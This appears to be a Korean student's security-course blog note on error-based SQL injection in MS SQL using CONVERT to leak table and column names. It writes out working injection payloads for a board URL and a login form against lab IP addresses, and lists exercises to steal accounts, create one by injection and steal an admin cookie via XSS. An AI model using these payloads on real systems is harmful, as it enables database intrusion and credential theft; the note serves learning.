본문 바로가기

학원

2023/08/01 convert



convert라는 함수가 있다. 
이 함수는 무언가 치환해주는 함수이다.


select * from member
where convert(int , '1')=1
하게 되면 참이기 때문에 모든 것을 출력해준다.

 

 

convert함수를 사용해 변경할 수 없는 자료를 의도적으로 넣어서 오류를 뜨게 하고 원하는 정보를 얻는다.


 

테이블 이름을 조회하기 위해선 이런식으로 어제 배웠던 top명령어를 사용해 출력한다.

 

 

하위 쿼리문만 봤을 때 zipcode가 출력되는데이런식으로 작성하게 된다면 board가 출력된다.


 

조건에 not in이라는 명령어를 쓰고 다음에 빠질꺼를 써주면 board를 제외하고 다음게 나온다.


 

이걸 웹페이지에서 작성하고싶다.
select top 1 table_name from information_schema.tables order by table_name
이걸 하위 쿼리에 넣어준다. 웹페이지를 앞에 붙여주고 
http://192.168.1.20/board/board_view.asp?num=94 and convert(int, (select top 1 table_name from information_schema.tables order by table_name))=1
이런식으로 작성해주면 멤버 테이블에 board가 출력된다.

지금은 board에서 했지만 다른페이지에서도 쿼리문을 작성할 수 있어야한다.


 

select top 1 column_name 
from information_schema.columns
where table_name ='member'
order by column_name
이 쿼리문을 로그인창에서 이제 오류가 뜨게 컬럼을 확인하고싶다.


 

'or (select top 1 column_name from information_schema.columns where table_name ='member' order by column_name)>1--
어제 했던거를 접목시켜서 이런식으로 작성하게 되면 로그인창에서도 오류를 뜨게하고 컬럼을 확인할 수 있다.
convert를 써서 해보고싶다면 이런식으로 작성하면 똑같이 결과를 얻을 수 있음
'or 1=convert(int, (select top 1 column_name from information_schema.columns where table_name ='member' order by column_name))--

 

 


[ 실습 1 ] 웹 사이트(192.168.43.200)의 사용자 계정을 탈취하라.


아마도 where절에는 id='' and pw=''로 들어갈것이다. 라고 가정한다.

 

 

where id=''or db_name()>1--' and pw='' 이러한 조건문일 것이고 'or db_name()>1--를 입력하게 된다면 db_name이 camel이라는걸 안다. 
이렇게 알게 되었으면 테이블안에 컬럼을 확인해보고 사용자의 정보가 들어있는 컬럼을 확인해서 id와 비밀번호를 파악하면 된다.


[ 실습 2 ] SQL Injection을 활용해 계정을 생성하라.
- 본인이름 이니셜로 생성하시오.

[ 실습 3 ] 생성한 계정으로 게시글을 업로드하라
- 게시 글을 업로드할 때 XSS을 활용한다.
- 게시 글을 관리자가 열람했을 때 관리자의 Cookie 값이 본인에게 전송될 수 있게 작성하시오


실습은 다음시간에 계속

'학원' 카테고리의 다른 글

2023/08/04 프로시저  (0) 2023.08.04
2023/08/03 Blind Injection  (0) 2023.08.03
2023/07/31 DML  (0) 2023.07.31
2023/07/28 메타데이터  (0) 2023.07.28
2023/07/27 SQL Injection  (0) 2023.07.27